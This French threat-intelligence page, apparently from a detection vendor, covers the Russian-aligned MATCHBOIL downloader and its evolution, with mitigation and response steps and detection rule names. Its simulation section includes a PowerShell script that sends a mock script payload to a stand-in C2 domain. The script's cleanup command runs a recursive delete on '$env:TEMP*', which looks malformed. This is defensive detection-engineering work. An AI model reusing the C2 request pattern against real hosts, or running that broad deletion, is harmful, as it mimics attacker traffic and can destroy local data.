La campagne de logiciels malveillants MATCHBOIL introduit de nouvelles techniques pour des attaques persistantes
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
UAC-0099, un groupe APT aligné sur la Russie, a considérablement fait évoluer son téléchargeur MATCHBOIL C# entre 2024 et 2026. Le logiciel malveillant est utilisé pour télécharger, déployer et maintenir la persistance pour les charges utiles secondaires telles que le backdoor MATCHWOK. Les variantes plus récentes intègrent une obfuscation plus forte avec .NET Reactor, des techniques d’évasion de sandbox et des méthodes de communication C2 de plus en plus sophistiquées.
Enquête
Les chercheurs d’ESET ont mené une analyse chronologique des variantes de MATCHBOIL identifiées grâce à la télémétrie et aux soumissions VirusTotal. L’enquête a documenté la progression du logiciel malveillant passant de l’obfuscation Unicode basique à la virtualisation de code avancée et à la tromperie utilisateur basée sur GUI. Les chercheurs ont également décompilé des composants C# pour examiner les requêtes WMI, la logique de communication HTTPS et les techniques de persistance.
Atténuation
Les organisations devraient surveiller les exécutions suspectes de C# et les tâches planifiées inattendues ou les changements de registre dans les répertoires de profils utilisateurs. La détection sur les points finaux devrait identifier les requêtes WMI non autorisées et le trafic HTTPS sortant inhabituel vers des domaines précédemment non caractérisés. Les équipes de sécurité devraient également surveiller les noms de fichiers malveillants connus et les arguments en ligne de commande suspects tels que -auto or -plans.
Réponse
Lorsque l’activité MATCHBOIL est détectée, isolez les hôtes affectés pour empêcher toute livraison de charge utile supplémentaire et toute communication avec le C2. Effectuez une enquête judiciaire complète pour déterminer le vecteur d’infection initial, probablement lié au spearphishing. Vérifiez les clés Run du registre et les tâches planifiées pour des entrées non autorisées et vérifiez les systèmes compromis pour des charges utiles secondaires telles que MATCHWOK.
Flux d’attaque
Nous mettons encore à jour cette partie.
Détections
Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via registry_event)
LOLBAS WScript / CScript (via process_creation)
Possible bibliothèque Windows créée dans un dossier inhabituel (via file_event)
Tâche planifiée suspecte (via audit)
IOCs (HashSha1) pour détecter : Recherche ESET MATCHBOIL : Nouvelles astuces, mêmes vieilles intentions malveillantes
IOCs (SourceIP) pour détecter : Recherche ESET MATCHBOIL : Nouvelles astuces, mêmes vieilles intentions malveillantes
IOCs (DestinationIP) pour détecter : Recherche ESET MATCHBOIL : Nouvelles astuces, mêmes vieilles intentions malveillantes
Collecte d’informations système WMI UAC‑0099 [Journal des événements de sécurité Microsoft Windows]
Détection de Command and Control Communication MATCHBOIL UAC-0099 [Connexion réseau Windows]
Exécution de simulation
-
Narration de l’attaque & Commandes : L’adversaire cherche à établir un canal de Command and Control (C2) pour recevoir des instructions et télécharger des modules supplémentaires. Pour éviter un blocage simple basé sur l’IP, l’attaquant utilise un domaine enregistré sous un TLD commun (
.pro). L’attaquant simule la technique « MATCHBOIL » en envoyant une requête HTTPS où la charge utile contient un<script>bloc, imitant la livraison d’instructions malveillantes encodées en hexadécimal déguisées en contenu Web. Cela vise à déclencher à la fois la condition basée sur le domaine et la condition basée sur la charge utile de la règle de détection. -
Script de test de régression :
# Simulation de la communication C2 de MATCHBOIL # Ce script effectue une requête HTTPS vers un domaine .pro contenant une balise script dans la charge utile/corps. $targetUrl = "https://test-matchboil-c2.pro/api/v1/update" $maliciousPayload = "<script>eval(hex_decode('414243'))</script>" try { Write-Host "[+] Tentative de communication C2 vers $targetUrl" -ForegroundColor Cyan Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream" } catch { Write-Host "[!] Requête terminée (Échec attendu si le domaine est inexistant, mais la télémétrie devrait toujours être capturée)" -ForegroundColor Yellow } -
Commandes de nettoyage :
# Aucun changement persistant effectué par le script. # Assurez-vous seulement que les fichiers temporaires locaux créés pendant le test sont supprimés. Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue